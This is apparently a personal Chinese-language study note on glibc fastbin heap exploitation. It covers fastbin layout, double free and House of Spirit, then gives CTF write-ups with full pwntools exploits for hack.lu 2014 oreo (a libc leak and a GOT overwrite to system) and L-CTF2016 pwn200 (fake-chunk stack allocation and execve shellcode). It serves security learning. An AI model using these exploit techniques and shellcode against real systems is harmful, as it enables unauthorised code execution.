感觉看 wiki 说的这东西算是涉及到 fastbin 的一类利用方式,不能算新的,了解一下 fastbin 的特点然后后面统一整理一下吧

image.png

fastbin

大小:
32位:16-64字节 0x10-0x40
64位:32-128字节 0x20-0x80
chunk 的大小而不是申请的内存的大小(申请的内存加上 chunk 头)

fastbinsY 是一个数组,相同大小的 chunk 放在一个数组元素指向的链表里面
单向链表后进先出,fastbinsY 数组中每一个元素指向该链表的尾结点,尾结点在通过 fd 指针指向前一个节点
例如:

  1. free(ptr1);
  2. free(ptr2);

最后那么是这样的 fastbin -> ptr2 -> ptr1

空闲的 fastbin chunk 不会被合并,不会修改 chunk 头

拿这个例子做一下实验

  1. #include<stdio.h>
  2. void main(){
  3. char *a1=malloc(0x10);
  4. memset(a1,0x41,0x10);
  5. char *a2=malloc(0x10);
  6. memset(a2,0x42,0x10);
  7. char *a3=malloc(0x10);
  8. memset(a3,0x43,0x10);
  9. char *a4=malloc(0x30);
  10. memset(a4,0x44,0x30);
  11. char *a5=malloc(0x30);
  12. memset(a5,0x45,0x30);
  13. printf("malloc done!\n");
  14. free(a1);
  15. free(a2);
  16. free(a3);
  17. free(a4);
  18. free(a5);
  19. printf("free done\n");
  20. }

image.png

可以看出链表来,后释放的 fd 指向上一个的,而不同大小的不会指向

image.png

Fastbin Double Free

wiki 上的描述,可以看到 chunk1 的 fd 会指向 chunk2 那么如果 chunk1 是我们可控的那么就可以申请任意地址的 fastbin

image.png

House Of Spirit

又是全新的知识 Orz
在目标地址伪造 fastbin chunk,然后释放掉,从而达到分配指定地址的 chunk 的目的
有一些条件:

fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理 fake chunk 地址需要对齐, MALLOC_ALIGN_MASK fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐 fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

语雀内容

Alloc to Stack

通过修改 fd 指针,指向栈上,从而申请栈上的空间,进而控制返回地址

Arbitrary Alloc

跟上一个的区别在于这个是往任何可写的地方去分配 chunk

2014 hack.lu oreo

先随便申请两个看一下结构

  1. add('1'*20,'a'*20)
  2. add('2'*20,'b'*20)

可以看到申请的第二个上有一个指向第一个的指针

image.png

那如果第 2 个的 name 再多写一点,就可以覆盖掉这个指针了

  1. name = 'a'*27 + elf.got['puts']

image.png

这时候再去 show 就能拿到 puts 的真实地址了,拿到之后就可以计算出 libc 的地址,进而拿到 system 和 ‘/bin/sh’ 的地址

接下来需要伪造一个 chunk,因为枪支的 chunk 大小是 0x40的,而那个计数的东西在 bss 段中 0x804A2A4 的位置,每 add 一个就会 +1,可以用来作为 fake chunk 的 size,只需要多申请几个就可以
这时候可以同时把最后一个的指针改为 fake chunk 的地址(0x804A2A4 + 0x4)

image.png

  1. count=1
  2. while count<0x3f:
  3. add('a' * 27 + p32(0), 'b')
  4. count=count+1
  5. payload = 'a' * 27 + p32(0x0804a2a8)
  6. add(payload,25 * 'a')

这样 fake chunk 的 size 位就构造好了,同时最后一个 chunk 的指向了 fake chunk

image.png

还需要绕过一些检测:对齐、fake chunk 的 size 的大小、next chunk 的 size 大小、标记位检查
来看一下那个 Leave a Message 功能,他会往 0x804A2A8 指向的地方也就是 0x804A2C0 读取内容

image.png

我么可以通过 Leave a Message 往那个地方去写来帮助 fake chunk 绕过检查,比如:

  1. payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
  2. payload = payload.ljust(52, 'b')
  3. payload += p32(0)
  4. payload = payload.ljust(128, 'c')
  5. leave(payload)

首先是 0x20 的占位留给 fake chunk,然后是 fake chunk 的 size,接下来是 next chunk 的 size
此时内存布局:

image.png

释放的时候会把之前修改的指针指向的那个给释放掉,然后再去申请的时候就可以申请到伪造的那个 chunk
然后通过把 0x0x804A2A8 的地方改成某个函数的 got 表项再通过 Leave a Message 功能往改掉的那个地址上写内容以此来覆盖 got 表项的内容

  1. payload = p32(elf.got['strlen']).ljust(20, 'a')
  2. add('b' * 20,payload)
  3. leave(p32(sys_addr) + ';/bin/sh\x00')

这里覆盖的是 strlen 的 got 表的内容为 system 的地址

image.png

Leave a Message 功能里面调用了一个函数,其中有 strlen
相当于 system(p32(sys_addr) + “;/bin/sh”)

image.png

exp:

  1. from pwn import *
  2. context.log_level = 'debug'
  3. p=process('./oreo')
  4. elf=ELF('./oreo')
  5. libc = ELF('./libc.so.6')
  6. def cmd(choice):
  7. p.sendline(str(choice))
  8. def add(name,description):
  9. cmd(1)
  10. p.sendline(name)
  11. p.sendline(description)
  12. def show():
  13. cmd(2)
  14. p.recvuntil('===================================\n')
  15. def order():
  16. cmd(3)
  17. def leave(notice):
  18. cmd(4)
  19. p.sendline(notice)
  20. def stats():
  21. cmd(5)
  22. add('1'*20,'a'*20)
  23. name = 'a'*27 + p32(elf.got['puts'])
  24. add(name,'b'*20)
  25. show()
  26. p.recvuntil('===================================\n')
  27. p.recvuntil('Description: ')
  28. puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
  29. print hex(puts_addr)
  30. libc_base = puts_addr - libc.symbols['puts']
  31. sys_addr = libc_base + libc.symbols['system']
  32. binsh_addr = libc_base + next(libc.search('/bin/sh'))
  33. count=1
  34. while count<0x3f:
  35. add('a' * 27 + p32(0), 'b')
  36. count=count+1
  37. payload = 'a' * 27 + p32(0x0804a2a8)
  38. add(payload,25 * 'a')
  39. payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
  40. payload = payload.ljust(52, 'b')
  41. payload += p32(0)
  42. payload = payload.ljust(128, 'c')
  43. leave(payload)
  44. order()
  45. p.recvuntil('Okay order submitted!\n')
  46. payload = p32(elf.got['strlen']).ljust(20, 'a')
  47. add('b' * 20,payload)
  48. leave(p32(sys_addr) + ';/bin/sh\x00')
  49. p.interactive()

2017 0ctf babyheap

语雀内容

L-CTF2016–pwn200

这里的 v2 是在 0x30 的位置,而 read 读入的时候可以读入 0x30,但是不会再末尾自己加上 \x00,所以如果输满了可以把后面的 rbp 给泄露出来

image.png

buf 在 rbp-0x40,dest 指针在 rbp-0x8,所以 buf 的最后八字节会把 dest 给覆盖掉

image.png

在输入 id 的那里会把输入的 id 放到 rbp-0x38 那里

image.png

首先通过 read 函数来泄露出来 rbp 中保存的地址

  1. shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  2. payload = shellcode.ljust(46, 'a')
  3. payload += 'bb'
  4. p.send(payload)
  5. p.recvuntil('bb')
  6. leak_addr = p.recvuntil(', w')[:-3]
  7. leak_addr = u64(leak_addr.ljust(8,'\x00'))
  8. fake_addr = leak_addr - 0x90
  9. shellcode_addr = leak_addr - 0x50

箭头指向的是 rbp,0xe0-0x90=0x50,所以 shellcode 的地址是在泄漏的那个地址减 0x50 处

image.png

因为是先输入 id 再输入 money,所以那个 id 是在 money 下面的,可以通过 id 来伪造下一个堆块的 size(在一个范围内就可以,不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem)

  1. p.recvuntil('id ~~?')
  2. p.sendline('48')

然后在输入 money 的时候伪造一个 chunk,并且覆盖掉 dest

  1. p.recvuntil('money~')
  2. payload = p64(0) * 5 + p64(0x41)
  3. payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
  4. p.send(payload)

这是构造的 fake chunk

image.png

emmm,要是再减去 0x8 就更好看了

image.png

看一下栈上的结构,最上面是构造的 chunk,下面是 id(作为 next chunk size)然后是 shellcode以及之前泄露的地址

image.png

先释放掉让伪造的 chunk 进入到 fastbin,然后再申请就申请到了伪造的 chunk,这时候覆盖掉 rip 为 shellcode 的地址就可以拿到 shell

image.png

这里有点疑惑为啥会把那个伪造的 chunk 放到 fastbin?还是没把程序的功能理顺,我们把 dest 给覆盖掉了,覆盖为了 fake chunk 的地址,然后 dest 放到了 ptr,后面 free 的时候是 free(ptr) 的

image.png

image.png

exp:

  1. from pwn import *
  2. p = process("./pwn")
  3. shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  4. payload = shellcode.ljust(46, 'a')
  5. payload += 'bb'
  6. #len=0x30
  7. p.send(payload)
  8. p.recvuntil('bb')
  9. leak_addr = p.recvuntil(', w')[:-3]
  10. leak_addr = u64(leak_addr.ljust(8,'\x00'))
  11. fake_addr = leak_addr - 0x90
  12. shell_addr = leak_addr - 0x50
  13. print 'shellcode addr:'+hex(shell_addr)
  14. print 'fake addr:'+hex(fake_addr)
  15. print 'leak addr:'+hex(leak_addr)
  16. p.recvuntil('id ~~?')
  17. p.sendline('48')
  18. p.recvuntil('money~')
  19. payload = p64(0) * 5 + p64(0x41)
  20. payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
  21. p.send(payload)
  22. p.recvuntil('choice : ')
  23. p.sendline('2')
  24. p.recvuntil('choice : ')
  25. p.sendline('1')
  26. p.recvuntil('long?')
  27. p.sendline('48')
  28. p.recvuntil('\n48\n')
  29. payload = '0' * 0x18 + p64(shell_addr)
  30. payload = payload.ljust(48, '\x00')
  31. p.send(payload)
  32. p.recvuntil('choice : ')
  33. p.sendline('3')
  34. p.interactive()